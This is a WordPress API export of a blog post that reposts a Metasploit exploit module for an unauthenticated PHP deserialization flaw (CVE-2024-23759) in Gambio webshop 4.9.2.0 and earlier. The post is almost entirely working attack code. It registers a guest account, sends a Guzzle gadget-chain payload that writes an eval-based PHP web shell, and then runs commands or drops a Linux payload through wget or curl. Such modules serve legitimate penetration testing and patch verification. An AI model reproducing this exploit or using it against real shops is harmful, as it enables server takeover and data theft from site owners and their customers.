{"id":56402,"date":"2024-04-23T21:39:55","date_gmt":"2024-04-23T17:39:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178222\/gambio_unauth_rce_cve_2024_23759.rb.txt"},"modified":"2024-04-23T21:39:55","modified_gmt":"2024-04-23T17:39:55","slug":"gambio-online-webshop-4-9-2-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gambio-online-webshop-4-9-2-0-remote-code-execution\/","title":{"rendered":"Gambio Online Webshop 4.9.2.0 Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower<br \/>allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request.<br \/>The identified vulnerability within Gambio pertains to an insecure deserialization flaw,<br \/>which ultimately allows an attacker to execute remote code on affected systems.<br \/>The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.<br \/>As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,<br \/>potentially resulting in complete system compromise, data exfiltration, or unauthorized access<br \/>to sensitive information.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # MSF module contributor<br \/>&#8216;usd Herolab&#8217; # Discovery of the vulnerability<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-23759&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/cxCsICfcDY\/cve-2024-23759&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0046\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-01-19&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>&#8216;Type&#8217; =&gt; :php<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X64, ARCH_X86],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;wget&#8217;, &#8216;curl&#8217;, &#8216;bourne&#8217;, &#8216;printf&#8217;, &#8216;echo&#8217;],<br \/>&#8216;Linemax&#8217; =&gt; 16384<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The Gambia Webshop endpoint URL&#8217;, &#8216;\/&#8217; ]),<br \/>OptString.new(&#8216;WEBSHELL&#8217;, [false, &#8216;Set webshell name without extension. Name will be randomly generated if left unset.&#8217;, nil]),<br \/>OptEnum.new(&#8216;COMMAND&#8217;,<br \/>[true, &#8216;Use PHP command function&#8217;, &#8216;passthru&#8217;, %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])<br \/>])<br \/>end<\/p>\n<p>def execute_php(cmd, _opts = {})<br \/>payload = Base64.strict_encode64(cmd)<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, @webshell_name),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>@post_param =&gt; payload<br \/>}<br \/>})<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>payload = Base64.strict_encode64(cmd)<br \/>php_cmd_function = datastore[&#8216;COMMAND&#8217;]send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, @webshell_name),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>@get_param =&gt; php_cmd_function<br \/>},<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>@post_param =&gt; payload<br \/>}<br \/>})<br \/>end<\/p>\n<p>def upload_webshell<br \/># randomize file name if option WEBSHELL is not set<br \/>@webshell_name = (datastore[&#8216;WEBSHELL&#8217;].blank? ? &#8220;#{Rex::Text.rand_text_alpha(8..16)}.php&#8221; : &#8220;#{datastore[&#8216;WEBSHELL&#8217;]}.php&#8221;)<\/p>\n<p># randomize e-mail address, firstname and lastname to be used in payload and POST requests<br \/>email = Rex::Text.rand_mail_address<br \/>email_array = email.split(&#8216;@&#8217;)<br \/>domain = email_array[1]firstname = email_array[0].split(&#8216;.&#8217;)[0]lastname = email_array[0].split(&#8216;.&#8217;)[1]hostname = Rex::Text.rand_hostname<\/p>\n<p># Upload webshell with PHP payload<br \/>@post_param = Rex::Text.rand_text_alphanumeric(1..8)<br \/>@get_param = Rex::Text.rand_text_alphanumeric(1..8)<\/p>\n<p>if target[&#8216;Type&#8217;] == :php<br \/>php_payload = &#8220;&lt;?php @eval(base64_decode($_POST[\\&#8217;#{@post_param}\\&#8217;]));?&gt;&#8221;<br \/>else<br \/>php_payload = &#8220;&lt;?=$_GET[\\&#8217;#{@get_param}\\&#8217;](base64_decode($_POST[\\&#8217;#{@post_param}\\&#8217;]));?&gt;&#8221;<br \/>end<\/p>\n<p>php_payload_len = php_payload.length<br \/>webshell_name_len = @webshell_name.length<br \/>domain_len = domain.length<br \/>hostname_len = hostname.length<br \/>final_payload = &#8220;O:31:\\&#8221;GuzzleHttp\\\\Cookie\\\\FileCookieJar\\&#8221;:4:{s:36:\\&#8221;\\x00GuzzleHttp\\\\Cookie\\\\CookieJar\\x00cookies\\&#8221;;a:1:{i:0;O:27:\\&#8221;GuzzleHttp\\\\Cookie\\\\SetCookie\\&#8221;:1:{s:33:\\&#8221;\\x00GuzzleHttp\\\\Cookie\\\\SetCookie\\x00data\\&#8221;;a:9:{s:7:\\&#8221;Expires\\&#8221;;i:1;s:7:\\&#8221;Discard\\&#8221;;b:0;s:5:\\&#8221;Value\\&#8221;;s:#{php_payload_len}:\\&#8221;#{php_payload}\\&#8221;;s:4:\\&#8221;Path\\&#8221;;s:1:\\&#8221;\/\\&#8221;;s:4:\\&#8221;Name\\&#8221;;s:#{hostname_len}:\\&#8221;#{hostname}\\&#8221;;s:6:\\&#8221;Domain\\&#8221;;s:#{domain_len}:\\&#8221;#{domain}\\&#8221;;s:6:\\&#8221;Secure\\&#8221;;b:0;s:8:\\&#8221;Httponly\\&#8221;;b:0;s:7:\\&#8221;Max-Age\\&#8221;;i:3;}}}s:39:\\&#8221;\\x00GuzzleHttp\\\\Cookie\\\\CookieJar\\x00strictMode\\&#8221;;N;s:41:\\&#8221;\\x00GuzzleHttp\\\\Cookie\\\\FileCookieJar\\x00filename\\&#8221;;s:#{webshell_name_len}:\\&#8221;#{@webshell_name}\\&#8221;;s:52:\\&#8221;\\x00GuzzleHttp\\\\Cookie\\\\FileCookieJar\\x00storeSessionCookies\\&#8221;;b:1;}&#8221;<br \/>final_payload_b64 = Base64.strict_encode64(final_payload)<\/p>\n<p># create guest user to get a valid session cookie<br \/># country variable should match with a configured tax country in the gambio admin panel<br \/># grab the available tax country code settings from the CreateGuest form page<br \/>res = send_request_cgi!({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;shop.php?do=CreateGuest&#8217;)<br \/>})<br \/>if res &amp;&amp; res.code == 200<br \/>html = res.get_html_document<br \/>unless html.blank?<br \/>country_tax_options = html.css(&#8216;select[@id=&#8221;country&#8221;]&#8217;)<br \/>country_tax_options.css(&#8216;option&#8217;).each do |country|<br \/>vprint_status(&#8220;Application&#8217;s tax country code setting required for exploitation: #{country[&#8216;value&#8217;]}&#8221;)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;shop.php?do=CreateGuest\/Proceed&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;firstname&#8217; =&gt; firstname,<br \/>&#8216;lastname&#8217; =&gt; lastname,<br \/>&#8217;email_address&#8217; =&gt; email,<br \/>&#8217;email_address_confirm&#8217; =&gt; email,<br \/>&#8216;b2b_status&#8217; =&gt; 0,<br \/>&#8216;company&#8217; =&gt; nil,<br \/>&#8216;vat&#8217; =&gt; nil,<br \/>&#8216;street_address&#8217; =&gt; Rex::Text.rand_text_alpha_lower(8..12),<br \/>&#8216;postcode&#8217; =&gt; Rex::Text.rand_text_numeric(5),<br \/>&#8216;city&#8217; =&gt; Rex::Text.rand_text_alpha_lower(4..12),<br \/>&#8216;country&#8217; =&gt; country[&#8216;value&#8217;],<br \/>&#8216;telephone&#8217; =&gt; Rex::Text.rand_text_numeric(10),<br \/>&#8216;fax&#8217; =&gt; nil,<br \/>&#8216;action&#8217; =&gt; &#8216;process&#8217;<br \/>}<br \/>})<br \/>next unless res &amp;&amp; res.code == 302<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;shop.php?do=Parcelshopfinder\/AddAddressBookEntry&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;checkout_started&#8217; =&gt; 0,<br \/>&#8216;search&#8217; =&gt; final_payload_b64,<br \/>&#8216;street_address&#8217; =&gt; Rex::Text.rand_text_alpha_lower(4..12),<br \/>&#8216;house_number&#8217; =&gt; Rex::Text.rand_text_numeric(1..2),<br \/>&#8216;additional_info&#8217; =&gt; nil,<br \/>&#8216;postcode&#8217; =&gt; Rex::Text.rand_text_numeric(5),<br \/>&#8216;city&#8217; =&gt; Rex::Text.rand_text_alpha_lower(8..12),<br \/>&#8216;country&#8217; =&gt; &#8216;DE&#8217;,<br \/>&#8216;firstname&#8217; =&gt; firstname,<br \/>&#8216;lastname&#8217; =&gt; lastname,<br \/>&#8216;postnumber&#8217; =&gt; Rex::Text.rand_text_numeric(6),<br \/>&#8216;psf_name&#8217; =&gt; Rex::Text.rand_text_alpha_lower(1..3)<br \/>}<br \/>})<br \/>break<br \/>end<br \/>end<br \/>end<br \/>res<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if #{peer} can be exploited.&#8221;)<br \/>res = send_request_cgi!({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>})<br \/>return CheckCode::Unknown(&#8216;No valid response received from target.&#8217;) unless res &amp;&amp; res.code == 200<\/p>\n<p># Check if target is running a Gambio webshop<br \/># Search for &#8220;Gambio&#8221; on the login page<br \/>return CheckCode::Safe unless res.body.include?(&#8216;gambio&#8217;)<\/p>\n<p>CheckCode::Detected(&#8216;It looks like Gambio Webshop is running.&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>res = upload_webshell<br \/>fail_with(Failure::PayloadFailed, &#8216;Web shell upload error.&#8217;) unless res &amp;&amp; res.code == 500<br \/>register_file_for_cleanup(@webshell_name)<\/p>\n<p>case target[&#8216;Type&#8217;]when :php<br \/>execute_php(payload.encoded)<br \/>when :unix_cmd<br \/>execute_command(payload.encoded)<br \/>when :linux_dropper<br \/># Don&#8217;t check the response here since the server won&#8217;t respond<br \/># if the payload is successfully executed.<br \/>execute_cmdstager({ linemax: target.opts[&#8216;Linemax&#8217;] })<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability&#8217;,&#8216;Description&#8217; =&gt; %q{A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lowerallows remote attackers to run arbitrary commands via unauthenticated HTTP &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56402","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56402","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56402"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56402\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56402"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56402"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56402"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}